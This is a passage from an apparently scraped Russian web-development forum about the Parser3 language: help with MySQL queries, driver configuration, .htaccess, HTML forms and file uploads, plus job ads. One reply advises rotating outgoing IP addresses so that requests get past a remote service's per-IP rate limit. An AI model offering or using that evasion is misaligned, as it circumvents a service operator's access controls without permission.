\
Кто его программировал, интересно..."
"36806","Сам незнаю что это значит, но встречал в скрипте статистики BBClone (пример: http://www.rielters.com/bbclone/)..."
"36807","Подскажите как лучше организовать выборку в базе данных MySQL по букве. Допустим у меня имеется таблица items, в которой хранятся товары. Мне нужно показать все начинающиеся на букву Н. И ещё, в этой таблице поле title содержащее название товара: \"Ночной Дозор\", \"Криминальное чтиво\", \"Ночь перед рождеством\", \"Антикиллер\", \"На Марс!\".\
\
Мой вариант.\
[i]Я создал ещё одно поле, допустим bukva, в котором прописываются первые буквы названий.[/i]\
[code]\
$items[^MAIN:pSQL.sql[table]{\
	select id, title, bukva\
	from items\
	where bukva='Н'\
	order by id desc\
}]\
^items.menu{\
...\
}\
[/code]\
\
[b]Есть более простой и удобный способ?[/b]"
"36808","WHERE title LIKE 'H%'\
\
Тогда поле буквы не нужно"
"36809","А тогда, чтобы сделать вывод на одной странице названий начинающихся на # или 0 ... 9\
[code]\
WHERE\
  title LIKE '#%' OR LIKE '#0' OR LIKE '#1' OR LIKE '#2'\
[/code] \
так?"
"36811","Не может одно слово начинаться и с \"0\" и с \"9\""
"36812","Так если использовать OR — будут выбираться слова, начинающиеся [b]либо[/b] с 0, [b]либо[/b] с 1 и т.д. Или я чего не понимаю?"
"36813","Обычно так и надо. Когда делают алфавитный указатель - выбирают все слова, начинающиеся с цифры, а затем - с каждой буквы алфавита"
"36814","Друзья, сорри за оффтопик, но куда же еще писать про.\
\
Компании MCN (mcn.ru) нужен хороший программист. Нужно во-первых, программировать биллинг (Perl, MySQL // web-интерфейс Parser), а во-вторых программировать, поддерживать и развивать сайты, как наши, так и для клиентов (Parser, MySQL).\
\
Работа в офисе, за компьютером с мышью. Офис на м. Новые Черемушки (Москва). Если вы из другого города, но суперспециалист, мы готовы обговорить условия переезда.\
\
Зарплата 1000$ и может расти. По проектам для клиентов -- премии.\
Пишите прямо мне (я -- арт-директор, со мной вам работать по сайтам): hwat@mcn.ru с каким-нибудь осмысленным сабжем.\
\
И, пожалуйста, даже если злостный оффтоп, пусть повисит хотя бы денёк )"
"36815","konqueror не понимает посыл ему заголовка ^header[refresh;0^;url=/admin/news/]\
с 3-м ПАРСЕРом проблем нет, но сайт на 2-м. в остальных бровзерах - нормально"
"36818","если мы подключаем модуль в @auto через ^use[] \
[code]@auto[]\
^use[file.p][/code]\
происходит ли при этом какая либо остановка/компиляция, или это совершенно то-же самое что и в случае\
[code]@USE\
file.p[/code]\
?"
"36822","Народ, возник вопрос.\
Появилась необходимость делать запросы к одному сайту, обратно отдаётся XML. Дело в том, что с одного IP разрешены запросы не чаще, чем раз в три секунды. Если запросы идут чаще, то в ответ отдаётся <timeout />. \
А запросы надо слать практически постоянно - проверять не появился ли человек в on-line, периодически доставать инфу и т.д.\
\
Как поступить, посоветуйте.. Горю!"
"36823","[quot]Крайне рекомендуется подключать модули (^use[…]) [b]изнутри кода оператора cache[/b], а не делать это статически (@USE).[/quot]\
\
я не могу подключить модуль изнутри оператора cache, ибо [url=\"http://www.parser.ru/forum/?id=36820\"]не кеширую[/url]."
"36824","На досуге решил сделать такую вещь.\
\
Вобщем если есть БД, в которой данные о людях, в том числе и дата рождения в формате 0000-00-00, то я захотел выбрать из неё три ближайших дня рождения. Только вот не получатся чёто =)"
"36826","Ну, естественно, к текущей.\
\
А хотя даже если и к заданной. Я не могу придумать алгоритм.\
Я пробовал сделать цикл по месяцам, а внутри - по числам, после чего сдвигать дату и проверять на определённость выборку из БД.\
\
[code] SELECT * FROM users WHERE MONTH(birth) = '$date.month' AND DAYOFMONTH(birth) = '$date.day' [/code]\
\
Но в каждом месяце разное количество дней и я отставил эту идею."
"36827","Все гораздо проще. Тебе надо выбрать 3 значения LIMIT 3 из базы больше чем сегодня WHERE date > NOW()\
Вот собственно и все. \
\
 SELECT field1, field2 \
 FROM sqltable\
 WHERE date > NOW()\
 ORDER BY date\
 LIMIT 3\
\
Если к заданной в переменной $my_date \"датового\" типа, то вместо NOW() подставляешь ^my_date.sql-string[] "
"36828","Молодой и перспективной компании работающей в сфере web development требуется программист с опытом работы и хорошим знанием интернет технологий. Необходимым требованием является глубокое знание и совершенное владение Php либо Parser студии Артемия Лебедева, XML как стандарта обмена и хранения полу структурированной информации, стандартов и средств для работы с ним (Dom, Xpath, частично XSL). \
Знание баз данных и SQL в рамках реализации MySQL и Oracle является важным критерием, равно как и понимание логики работы CMS коммерческого качества.\
\
От кандидата мы ждем систематизированного мышления, обучаемости, пунктуальности и перфекционизма граничащего с занудством. В обмен на эти качества и знания, компания предлагает демократичный коллектив, стабильно высокую заработную плату, возможность профессионального и личностного роста, социальный пакет в рамках законодательства.\
\
Розин Савва Владимирович\
+7 (095) 518-08-36\
web@c3networks.ru"
"36829","она же происходит и в случае @USE."
"36830","если есть возможность, договоритесь с владельцем веб-сервиса.\
\
если нет возможности, попробуйте для своей хостинг машины выбить побольше IP адресов, и забирайте информацию спецскриптом, который будет делать запрос со случайного [b]разного[/b]исходящего IP."
"36831","В принципе, происходит то, что и ожидалось:\
\
SELECT * FROM users WHERE birth > 2005-01-28 LIMIT 3\
\
Статически указываю дату и вынимаются 3 первых записи."
"36832","В принципе, происходит то, что и ожидалось:\
\
SELECT * FROM users WHERE birth > 2005-01-28 LIMIT 3\
\
Статически указываю дату и вынимаются 3 первых записи.\
\
SELECT * FROM users WHERE birth > NOW() LIMIT 3  -> не кушает."
"36833","..что нет возможности договориться ни там ни там.\
\
Интересует как раз возможность выкрутиться своими силами в этой ситуации.."
"36836","это не здесь :)"
"36837","Я ж не хочу научиться делать запрос чаще чем в 3 секунды..\
Мне интересно как наименьшей кровью организовать очередь запросов, это ведь не безвыходная ситуация.. \
Просто интересно мнение специалистов, чтобы они сделали на моем месте."
"36838","А поле birth какого типа?"
"36839","тип - DATE"
"36840","соглашусь на 1500+"
"36844","надо признаться были и такие предположения, но небыло уверенности. Спасибо."
"36845","Понимаю, что может тема уже поднималась, но у меня не получается ни одним из замеченых мною методов установить Parser.\
Обьясняю суть проблемы.\
У меня на компьютере есть папочка Server, в которой установлены:\
Apache 2\
PHP\
MySQL\
+еще кое-чего\
\
Скачал установочный файл Parser'a. По умолчанию он сразу лезет в папку Apache2\\cgi-bin\\, но работать отказывается.\
Может я чего-то не так делаю или не туда устанавливаю?\
Говорят parser3.exe надо кинуть в папку Windows. И вообще куда кинуть  .htaccess с его настройками? В папку Apache2\\cgi-bin\\ Тогда ладно, а скрипты там же держать?\
Блин, я совсем запутался... может кто-то уже сталкивался с подобной проблемой когда ничего не выходит?"
"36847","Пообсуждали и все всё дружно забыли.\
\
Где продолжение?"
"36848","День добрый уважаемые.\
\
Как человек увлекающийся вебстроительством, дорос я до того, что надо бы уже динамику осваивать.\
\
И стою сейчас вот на перепутье Парсер || PHP || CMS. Куда податся, везде есть + и -\
\
Так как форум Р3 то такой вопрос:\
Возможно ли в Рarser3 использовать коды, написанные другими программистами, т.е. к примеру форум, гостевая книга, и т.п. ...ведь многие вещи стандартны, зачем каждому программисту писать заново свой код, ловить ошибки, кароче изобретать велосипед?\
\
Надеюсь на понимание."
"36849","Код же - обычный текст ;-)\
Другое дело, что нет столько большой библиотеки скриптов, какая есть под то же PHP.\
\
Если же говорить о выборе Parser|PHP, я бы выбирал именно Parser - все же простые вещи на нем делаются проще. Да и 99% задач Parser покрывает. Нет только (из реально мне нужного) работы с бинарными файлами, но это с успехом решается отдельными внешними скриптами."
"36850","Ну я не сказал, чтобы 99%, но 75% - эт точно :)"
"36853","А где можно найти хоть маленькую библиотеку?"
"36857","я что-то не помню, чтобы хоть на одном студийном сайте нам понадобился resize ;)"
"36860","Тогда скажите мне как сделать следующее:\
1. Из базы (blob поле) берём картинку.\
2. Ресайзим её по переданому парметру (например ширина 120 пикселей)\
3. Выдаём как картинку браузеру. Без каких либо сохранений на диске.\
\
P.S. Я сам очень люблю парсер ;)"
"36861","Возможно ли использование форумов, написанных для php? Парсер же назначается обработчиком html страниц, а если установлен php на сервер, он соответсвенно php-файлы обрабатывает, не возникнет ли конфликтов?"
"36862","Здравствуйте, многоуважаемые сотоварищи!\
Сервер у меня такой:\
FreeBSD4.10\
MySQL 3.23.58\
parser3_1_4_freebsd49R_cgi.tar.gz  (11.01.2005  349,1 КБ) \
parser3sql_1_4_freebsd49R_mysql.tar.gz  (11.01.2005  24,7 КБ) \
apache2.0.52\
Парсер работает прекрасно - спасибо вам большое.\
MySQL сервер - тоже работает. Я прекрасно подключаюсь к нему через его клиента.\
Но при попытке обратится к базе выполнив \
^connect[$connect_string]{ ... }\
где $connect_string[mysql://www2:tutu@localhost/p3test]\
parser выдает следующее:\
\
/usr/local/www/iws.baikal.ru/lib/libparser3mysql.so\
\
driver failed to initialize client library 'libparser3mysql.so', can't open the module\
\
/usr/local/www/iws.baikal.ru/admin/index.html(31:5)\
...\
\
Объясните, пожалуйста, в каком направлении двигаться, чтобы заработало."
"36864","Зравствуйте,\
решил изучить [color=\"#ff0000\"]Парсер[/color]. Но в первой главе мануала столнулся с ошибкой.\
Навигация не выводится, там где я вызываю метод (пусть на index.html) там выходит -- пусто.\
Я для проверки вставлял другие \"коды\" Парсера, они работают. \
Сейчас действую по урокам -- все примеры работают, никаких проблем, а вот с загрузкой таблицы из файла...:(\
Помогите чем можите:)\
Заранее благодарен."
"36865","Чтобы заработало: указать правильный путь в @conf[]"
"36866","С путем вроде все нормально. Я даже пробовал класть драйвер в разные места.\
\
Привожу цитаты из /auto.p\
@USE\
/conf.p\
\
из /conf.p\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[/usr/local/www/charsets]\
$sqldriversdir[/usr/local/mysql/prarser3]\
\
\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       libparser3mysql.so\
pgsql   $sqldriversdir/libparser3pgsql.so       libpq.so\
oracle  $sqldriversdir/libparser3oracle.so      /u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACL\
E_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
Если поставить заведомо неправильный путь в $sqldriversdir, то сообщение об ошибке меняется с  \
driver failed to initialize client library 'libparser3mysql.so', can't open the module\
на\
can't open the module\
\
Как будто чего-то еще нехватает..."
"36867","Пожалуйста покажите свой код cfg-файла, и ту функцию, где вы его вызываете."
"36868","Наверное, вопрос к Мише, хотя, может кто-нибудь тоже сможет ответить.\
\
В статье про [url=\"http://misha.design.ru/hobby/progr/engine.html\"]engine[/url] говориться о [b]шаблонах[/b] и сказанно, что это \"xsl шаблон (хоть для каждого объекта свой!)\". Также там упоминается о том, что \"в шаблоне нужно написать ^parseBlock[имя блока]\" для обработки блока текущего объекта.\
\
[b]Как это достигается?[/b]"
"36872","нам как-то понадобилось выдавать \"ногти\". но учитывая, что каталоги обновляют раз в полгода - написали скрипт на перловке который пинет ImageMagic: пакетная обработка - рулит. и главное потом не грузится сервак.\
но в болбах хранить пикчи, чтоб их ресайзить затем - это ... вообщем круто придумано!"
"36873","Значит шаблон - это простой XSLT шаблон, и не требует никакой пре обработки для обработки ^parseblock[]\
\
А я голову ломаю, как же Вы так придумали."
"36875","Уважаемые Доны!\
Пожалуйста помогите сделать выборку из таблицы из БД.\
Задача такая:\
1. нужно вытащить названия стран по-руски из таблицы Country из БД tovar;\
2. список стран разместить в выпадающем меню.\
\
Форум читал - он стал моей домашней страницей. Однако непросто дается знакомство с Парсером.\
Ниже представлена очередная попытка это сделать ... по-прежнему безуспешная. :(\
\
[code]\
^connect[$connect_tovar]{\
$sql_table[^table::sql{SELECT Name_Rus, Index FROM `Country` where 'Index'='$i'}]\
}\
\
<select size=\"1\">\
^for[i](1;^sql_table.count[]){\
<option>\
^if(^sql_table.menu{$sql_table.Name_Rus}==$i){\
^sql_table.menu{$sql_table.Name_Rus}\
}\
</option>\
}\
</select>\
[/code]\
\
В результате, получается пустое выпадающее меню.\
Наверняка плохо читал форум ... или еще где. Не сочтите за труд, ткните носом, а еще лучше помогите, пожалуйста с правильным кодом.\
Спасибо Вам Огромное!"
"36876","Я прекрасно понимаю, что это не правильно. Но другого варианта просто нету :("
"36877","Если расширения разные - никто никому не мешает.\
Если одинаковые - работает последний объявленый обработчки.\
В одном файле использовать код Parser и код PHP - нельзя.\
PHP (как и Parser) можно использовать как обработчик командных фалов, следовательно через exec вызывать из другого. (Это ни в коем случае не призыв к действию, наоборот, так делать не стоит, хоть и можно)"
"36878","Сам знаю"
"36879","Она ж для того и создана. Или каждому пользователю отдается _свой_ размер картинки?"
"36881","\"menu\" последовательно перебирает все строки таблицы. Посредством этого метода я пытался перебрать таблицу в БД. Простите, если что-то не так ...\
\
PS: ошибка в представленном коде:\
[code]\
^connect[$connect_tovar]{\
$sql_table[^table::sql{SELECT Name_Rus, Index FROM `Country` where 'Index'='$i'}]\
}\
\
<select size=\"1\">\
^for[i](1;^sql_table.count[]){\
<option>\
^if(^sql_table.menu{$sql_table.[b]Index[/b]}==$i){\
^sql_table.menu{$sql_table.Name_Rus}\
}\
</option>\
}\
</select>\
[/code]"
"36883","[code]<option>\
^if(^sql_table.menu{$sql_table.Index}==$i){\
	^sql_table.menu{$sql_table.Name_Rus}\
}\
</option>[/code]\
\
и правильный варинант\
\
[code]\
^if(^sql_table.menu{$sql_table.Index}==$i){\
	^sql_table.menu{\
	<option value=\"какое-вам-нужно-значение\">$sql_table.Name_Rus</option>\
	}\
}[/code]"
"36884","Спасибо Вам Огромное!\
Вот код, который работает, возможно кто-то тоже столкнется с такой проблемой.\
[code]\
^connect[$connect_tovar]{\
$sql_table[^table::sql{SELECT * FROM `Country`}]\
}\
\
<select size=\"1\">\
   ^sql_table.menu{\
      <option value=$sql_table.Index>$sql_table.Name_Rus</option>\
   }\
</select>\
[/code]\
\
PS: Misha v.3, не понял - это не правильно? Тогда как, разъясните пожалуйста! Спасибо."
"36885","<select> - это сам элемент формы, \
<option> - это вариант элемента select\
\
метод ^таблица.menu перебирает все строки таблицы. \
\
таким образом\
из \
...\
[code]<select name=\"имя_элемента_формы\">\
^таблица.menu{\
	<option value=\"$таблица.зачение_элемента_формы\">$таблица.Название_варианта</option>\
}\
</select>\
[/code]\
...\
Получается примерно такой код для браузера:\
\
<select name=\"имя_элемента_формы\">\
<option value=\"зачение_1_элемента_формы\">Название варианта 1</option>\
<option value=\"зачение_2_элемента_формы\">Название варианта 2</option>\
<option value=\"зачение_3_элемента_формы\">Название варианта 3</option>\
<option value=\"зачение_4_элемента_формы\">Название варианта 4</option>\
<option value=\"зачение_5_элемента_формы\">Название варианта 5</option>\
</select>\
\
Что отображается как выпающее меню с 5-ю указанными вариантами ответа."
"36886","Когда пренебрегают поиском в форуме, видимо, думают, что \"у меня особый случай и такого точно ни у кого еще не было\". Так было и со мной. Прошу прощения.\
 А чтобы вопросов на эту тему возникало меньше предлагаю маленько дописать раздел\
[b]Установка SQL драйверов[/b], который находится на странице\
http://www.parser.ru/download/freebsd/\
\
Скачайте архивы c необходимыми вами SQL драйверами,\
и распакуйте их в каталог {куда вы установили Конфигурационный файл}/lib\
 \
Если у вас драйвер и клиент SQL (MySQL) находятся в других местах,\
необходимо в методе @conf[] указать правильные пути к драйверу и к клиенту:\
\
$SQL[\
        $.drivers[^table::set{protocol	driver	client\
mysql	/полый путь к драйверу/libparser3mysql.so	/полный путь к клиенту MySQL/libmysqlclient.so\
...\
}]\
]"
"36887","Например:\
я хочу в \
[code]\
$browser[]\
[/code]\
\
поместить РЕЗУЛЬТАТ\
[code]\
<script language=\"JavaScript\" type=\"text/javascript\">\
<!--\
	document.write(\"You are using \" + navigator.appName + \" \" + navigator.appVersion);\
// -->\
</script>\
[/code]\
\
Подскажите."
"36888","Нужно присвоить значение элементу формы, который потом получать из $form.\
\
\
document.form_name.browser_name.value=navigator.appName\
document.form_name.browser_ver.value=navigator.navigator.appVersion\
\
Вот и все..."
"36890","А как это оформить?\
\
и ведь получается что я смогу получать значение только при перезапуске страницы по Submit?"
"36891","http://www.parser.ru/examples/detect/ ?"
"36893","http://www.parser.ru/docs/lang/xdocparserprot.htm"
"36894","1. кусок 'Index'=xxx сравнивает текстовую строку из букв I,n,d,e,x, с чем-то числовым.\
понятно, равно оно этому не будет никогда.\
соответственно, ответ на запрос пустой.\
\
2. простое имя таблицы совершенно не нужно брать в обратные апострофы.\
\
3. почитайте что-нибудь по SQL, тыканье тут не съэкономит вам время, а совсем наоборот (как вы, наверное, уже заметили)."
"36895","Если вы посмотрите внимательно, то обнаружите, что ваше сообщение == единственный ответ на это предложение…, что, в принципе, не удивительно, т.к. обсуждать == одно, а делать == другое.\
\
С уважением,\
\
R2"
"36897","ну что мы англичане что ли?\
ну почему же ноль та?\
а то того решения что сделал просто тошнит :(\
надо\
вывести расписание на текущую неделю по дням\
\
[code]\
$curweek[^date:calendar[rus]($now.year;$now.month;$now.day)]\
^curweek.menu{\
\
^if(^curweek.weekday.int(0) == 0){$tmp[7]}{$tmp[^curweek.weekday.int(0)]}\
	^if(($day == 0) || ($tmp == $day)){\
		^schedule[${curweek.year}-${curweek.month}-${curweek.day}]\
	}\
}{}\
[/code]"
"36898","да, про упоминаемую фичу я читал, но сам не разу не использовал, и не слышал чтобы кто-нить её использовал с engine (часть imp1), т.е. в рамках engine - это pure xslt."
"36899","ваш код не понял. зачем вы ноль в семёрку заворачивали?\
и зачем эти .int?"
"36902","Спасибо за советы - обязательно воспользуюсь.\
Зачем обязательно куда-то посылать без адреса, напрмер \"почитайте что-нибудь\" или \"вы вообще прочитали\"?\
Есть ведь решение на поставленный вопрос - http://www.parser.ru/forum/?id=36884.\
Еще раз, спасибо! :-)"
"36903","мое недоумение касалось приведенных вами конструкций вида:\
[code]\
^if(^sql_table.menu{$sql_table.Name_Rus}==$i){...}\
[/code]\
и\
[code]\
^for[i](1;^sql_table.count[]){\
...\
^sql_table.menu{$sql_table.Name_Rus}\
...\
}\
[/code]\
\
как вы такое могли произвести на свет после прочтения первого урока где есть объект-таблица и есть метод, выводящий её - для меня загадка.\
\
P.S. PAF вам дал конкретные рекомендации (конкретнее нету), правда не стал за вас писать код (и правильно сделал). поверьте: чтение книжек значительно полезнее метода научного тыка, т.к. в конечном итоге экономит уйму времени."
"36904","Вот что пишет:\
[b]broken JPEG file - size frame not found[/b]\
\
Локально все работало:\
[code]\
^form:image.save[binary;/i/news/^MAIN:oSQL.last_insert_id[_news].^file:justext[$form:image.name]]\
[/code]\
\
Посли закачки на сервер, сохранять не перестал, но что-то происходит с файлом :( Не то чтобы вывести нельзя (выдает image.format), его даже и открыть-то посмотреть не получается. Уже не знаю что и думать. А что делать тем более не знаю. :(\
\
Нашел только http://www.parser.ru/forum/?id=14360 — в том случае все открывалось. У меня же даже ACDSee не открывает. И даже фотошоп сообщает об ошибке:\
[quot]\
Could not complete youк request because a JPEG marker segment length is too short (the file may be truncated or incomplete).\
[/quot]\
\
Попробовал загрузить гиф — ошибку не выдает, браузер пытается отобразить рисунок, но не может: выдает огромного размера (что-то около 8000 х 8000 пикселей) прямоугольник с красным крестиком.\
\
Parser 3.1.3"
"36905","и черкните в почту, попробуем разобраться."
"36906","... Извините за глупый вопрос, но где можно почитать о генерации xml страниц при помощи Парсера ...\
... Ну или как лучше организовать связь Парсера и Флэша ..."
"36907","открыл я этот файлик вместе с оригиналом в HEX редакторе, и обнаружил интересную закономерность.\
\
Все символы 00 заменены на 20. Почему такое происходит - ума не приложу.\
\
Обычная ручная замена одного на другое спосает положение."
"36908","Спасибо.\
\
Но все же: сейчас-то что делать? Не буду же я в каждом залитом администратором файле в ручную заменять все 20 на 00…\
\
--\
Может быть временно закачивать файлы на сервер не парсером? Написать какой-нибудь скрипт на пхп том же, передавать ему объект типа «file», имя и путь. Пусть он сохраняет файл на сервер. А парсером уже читать. Возможно такое? Если да, то как передать скрипту параметр типа «file»?\
\
Ужасно срочно нужно."
"36910","[code]\
DirectoryIndex index.htm index.html\
\
CharsetDisable on\
Options +Includes +FollowSymLinks +Indexes\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
<IfModule mod_charset.c>\
CharsetRecodeMultipartForms off\
</IfModule>\
[/code]"
"36912","... Угу в документации уже нашёл, щас разобраться пытаюсь ...\
... В форуме не так много всего ..."
"36913","задача: есть две версии документа, одну сделал Вася, другую Петя. Они оба использовали для модификации версию Акакия. Как сделать, чтобы правки и Васи, и Пети автоматически поместились в один документ?\
\
Народ советует rsync: http://citforum.proc.ru/nets/articles/rsync/\
Текст можно резать lsplit'ом, хэшировать куски с помощью math:crypt или md5. По сравнению с условиями для того алгоритма имеем в плюсе наличие небольших документов и следовательно - некритичность к ресурсам. \
Чего я не понял: как сделать, чтобы этот алгоритм работал не только до первого найденного различия, а до всех, и уверенно находил общий текст после различий? Ведь происходит смещение шага.\
\
Вариант второй:\
Берем во всех текстах последовательности слов (например, по 10 слов) и их хэшируем с перехлестом по 1 слову (т.е. сначала с 1 по 10 слова, затем со 2 по 11, с 3 по 12 и т.д.) \
[code]\
$tab_Vasya[^Vasya_text.split[v; ]]\
$Vasya_hash[\
  $.1[^math:md5[^getrows[$tab_Vasya;1;10]]]\
  $.2[...]\
]\
[/code]\
По идее, таких хэшей может быть сколько угодно. При этом последний по времени обладает большим приоритетом.\
За достоверность ключа ручаются два положения:\
1) происходит последовательный перебор от начала к концу\
2) если в двух документах, один из которых унаследован от другого, повторяются фразы из 20 слов (перебор-то последовательный, значит 10 + 10), то эти фразы относятся к одной и той же смысловой части документа.\
Тут вопрос такой: наверняка не я первый придумал этот алгоритм, и где-то уже есть его описание со всеми подводными камнями - мож кто знает? \
\
P.S. Понимаю, что это не тривиальная для парсера задача, но полноценной CMS без нее не сделать. А хочется, ибо остальное уже готово и скоро будет доступно по GNU GPL."
"36914","Вы уверены, что всё, что написано в вашем .htaccess, вы имеете право здесь определять/переопределять? Проверьте httpd.conf.\
\
P.S.: Какие плюсы в Russian Apache?"
"36915","Толи я тупил страшно, толи... Наверное все таки тупил.\
\
[code]\
<IfModule mod_charset.c>\
CharsetRecodeMultipartForms off\
</IfModule>\
[/code]\
\
.htaccess с таким содержанием нужно было положить рядом с parser3.cgi"
"36916","Один редактирует - остальным read-only. Посмотрите, как это делает тот же MS Word.\
Все равно смысла в параллельном редактировании нет."
"36917","Какой из вариантов верный:\
\
Оригинал:\
\"уведомлять об ответах на это сообщение по E-mail\"\
\
Изменил Вася:\
\"уведомлять [b]о всех[/b] ответах на это сообщение по E-mail\"\
\
Изменил Петя:\
\"уведомлять [b]всех об[/b] ответах на это сообщение по E-mail\"\
\
\
ps: имеет место правка одного фрагмента двумя редакторами, и определить простыми алгоритмами какое изменение является верным невозможно, да и сложными невозможно тк неизвестен контекст написанного."
"36918","Задача: слить версии корректора и редактора, а правки копирайтера, которые сделаны после основного текста, но до корректора - убрать."
"36919","9 слов - один фрагмент. Значит, он будет заменен целиком на самый последний. \
Если бы эта фраза была частью более объемного текста, заменились бы +-10 слов от точки правки. \
Имеет смысл укоротить интервал до 5 слов, скажем."
"36920","Значит один из редакторов зря правил,-деньги на ветер(в бизнесе, если нет, то) как обидно."
"36921","Я начал активно использовать \"Швейцарский нож\", и появилоь такое желание чтобы он был не зависимым от названия диска, для возможности использования на съёмных носителях"
"36922","Это уже проблемы заказчика. Который заказчик все-таки испытывает нужду в контроле версий иногда."
"36924","Но речь о CMS. Которую на бог знает какой хостинг могут поставить. И не факт, что CVS там можно будет поставить."
"36925","ведь проблемы заказчика часто передаются напрямую исполнителю :)\
\
а ситуация называется \"конфликт версий\", который автоматически справить корректно нельзя.\
уверен, если уж вам так нужно, то несложно будет пользователю предложить контекст с проблемным изменением, и кнопочками выбора варианта, который тот считает верным."
"36926","выложить бинарник дадут (вы же parser туда планируете выложить).\
а раз так, дадут выложить и cvs клиента.\
\
как помните, cvs клиент умеет работать с локальным репозитарием и сам, без сервера."
"36929","почему?"
"36930","Собственна есть текст.Хочется узнать сколько раз слово XXX в процентном соотношении встречается втексте.Чем можно это сделать? Скриптом на парсере или есть какието специальные программы? В Ворде ничего не нашол токого тамтолько простая статистика..."
"36931","Подробности в документации\
ещё пригодтся ^table.count[]"
"36932","Решение №1\
слить корректора и редактора....\
поправки коприйтера не приимать во внимание...\
Решение №2\
\"Автоматически\" решить этот трабл неможливо никогда!!!!\
Вот, не пожалел знаков восклицательных...\
...это не суть логических алгоритмов,и ...\
... вощем, поставь задачу СЕБЕ,\
потом попытайся ее прочитать\
потом....  бОльшая половина вопросов отпадет сама собой...\
ЗЫ практическая рекомендация - бить текст на блоки:нередактируемые (типа все согласны)и редактируемые с опциями по выбору редактора"
"36933","Содал ярлык внём написал\
%windir%\\System32\\subst.exe o: e:\\"
"36934","Примерно так:\
[code]\
$counter(0)\
$word[жили]\
$text[Жили-жили, не тужили.]\
$result[^text.match[\\b($word)\\b][gi]{$match.1^counter.inc[]}][/code]\
\
P.S. Если нужно с учётом регистра, то убрать i. Пример не проверял."
"36935","Ктобы подсказал как это автоматом запускать, чтобы самостоятельно определялось на каком диске находится, и вообще нужно подключать"
"36936","Да, задачу можно решить по-всякому.\
[editable;здесь идет текст, который еще можно исправить]\
Просто у нас нет возможностей ставить масштабные эксперименты по юзабилити (а простой тест не поможет, ибо - многофакторность), а общепринятый стиль - версии и слияние."
"36937","Мишин вариант, например, не определяет Firefox"
"36938","Вопрос лишь что быстрее и менее ресурсоемко - это или match?\
Кто прогонит тест?"
"36939","есть вызов:\
[code]\
$documentXML[^CreateXML[]]\
^documentXML.save[ya_market.xml]\
[/code]\
\
метод\
[code]\
@CreateXML[]\
$date_now[^date::now[]]\
$result[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE yml_catalog SYSTEM \"../yandex/shops.dtd\">\
<yml_catalog date=\"^date_now.sql-string[]\"> \
.....\
</yml_catalog>\
}]\
[/code]\
--------------------\
\
проблема следующая:\
на яндексе требуется чтобы 2-я строка имела вид\
<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\
но когда пишешь её так в парсере, то отгребаешь ошибку:\
\
create\
I/O warning : failed to load external entity \"shops.dtd\"\
<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\
\
когда пишешь абсолютный путь или относительный типа \"\"../yandex/shops.dtd\", то всё работает\
DTD файл взят с яндыкса\
\
Подскажите в чём проблема"
"36940","посмотрите, вдруг yandex не против.\
\
про детали произошедшего, см. недавнее обсуждение."
"36941","В кои-то веки дошли руки до \"Швейцарского ножика\". Обновил версию Parser и сделал модульную установку (то есть если вам не нужен mod_perl - можете не ставить).\
\
SMTP-сервер в том же состоянии глубокой альфа-версии.\
\
Лежит, как обычно, на  http://www.bougakov.com/devel/download/apache_swissknife_setup.exe\
\
---------------------------------\
\
Для тех, кто не в курсе, \"Швейцарский ножик\" это:\
\
* Веб-сервер Apache 1.3.27\
* Parser 3.1.4 с документацией\
* PHP 4.3 с библиотекой GD 1.6.2\
* ActiveState Perl 5.6.1 Build 635\
* Модуль mod_perl 1.27 для Apache\
* Сервер баз данных MySQL 4.0.16\
* Программа для управления БД MySQL Front 2.5\
* Эмулятор SMTP-сервера\
* удобная программулька в Tray, с помощью которой можно легко управлять всем этим зверинцем.\
\
Единственный вопрос, на который вы отвечаете при установке - это \"что и куда ставить будем\": иными словами, это тот же Денвер, но подружелюбнее и уже с Парсером. После установки всё сразу работает, даже приснопамятный урок с ^navigation[]\
\
Можно ставить в любую папку и на любой диск (но не в network share). Админских прав не требуется, c:\\windows не  загаживает, ununstall'ятор имеется."
"36942","В получаемом по ссылке файле содержатся следующие ошибки:\
1. мы не используем ваш dtd файл\
как у вас:\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<!DOCTYPE yml_catalog SYSTEM \"http://shop.mcn.ru/yandex/shops.dtd\">\
<yml_catalog date=\"2004-12-17 18:15:51\"> \
\
как нужно:\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\
<yml_catalog date=\"2004-12-17 18:15:51\">"
"36945","Сказали искать shops.dtd \"тут\". Откуда он поймет, что это \"тут\" не в текущей директории, а где-то в \"../yandex\"?"
"36946","все это прямо на сервер.\
А то я слышал, что вот Денвер не рекомендуют ставить, якобы не надежно."
"36947","Собственно у меня в тексте есть строка\
[code]$list[^file:list[$path.path;\\.jpg|\\.jpeg|\\.png|\\.gif|\\.bmp^$]][/code]\
она соответственно выбирает из нужного каталога все файлы с указанными разрешениями.\
\
Вопрос! как выбирать все эти файлы кроме файлов начинающихся с \"tn_\"? В regexp разбираюсь плохо :(\
\
Спасибо за ответы"
"36950","а готового кода, по причине вашего нежелания знакомиться с regexp, надеюсь, никто не напишет. \
\
ЗЫ для вашего же благо... ))"
"36951","[code]\
$list[^file:list[$path.path;\\.jpg|\\.jpeg|\\.png|\\.gif|\\.bmp^$]]\
\
# почему бы не вынести точку за скобки, если она повторяется?\
# ...и не сократить бы jpeg?\
\
$list[^file:list[$path.path;\\.(jpe?g|png|gif|bmp)]]\
\
# подсказка на счет thumbnails (я правильно вас понял?):\
# нужно исключить из начала строки приставку «tn_»\
[/code]"
"36952","На продакшен-сервер, доступный из интернета - видимо, нет (я бы не стал, и поручил бы это дело профессионалу).\
\
\"Швейцарский ножик\" задумывался как удобная штуковина для вебмастера, который хочет заниматься разработкой на домашнем компьютере - на большее и не претендует."
"36954","это недавно обсуждалось.\
если кто придумает, как грамотно втолковать задачу библиотеке libxml2, я буду рад. сам не придумал.\
\
workaround:\
[code]\
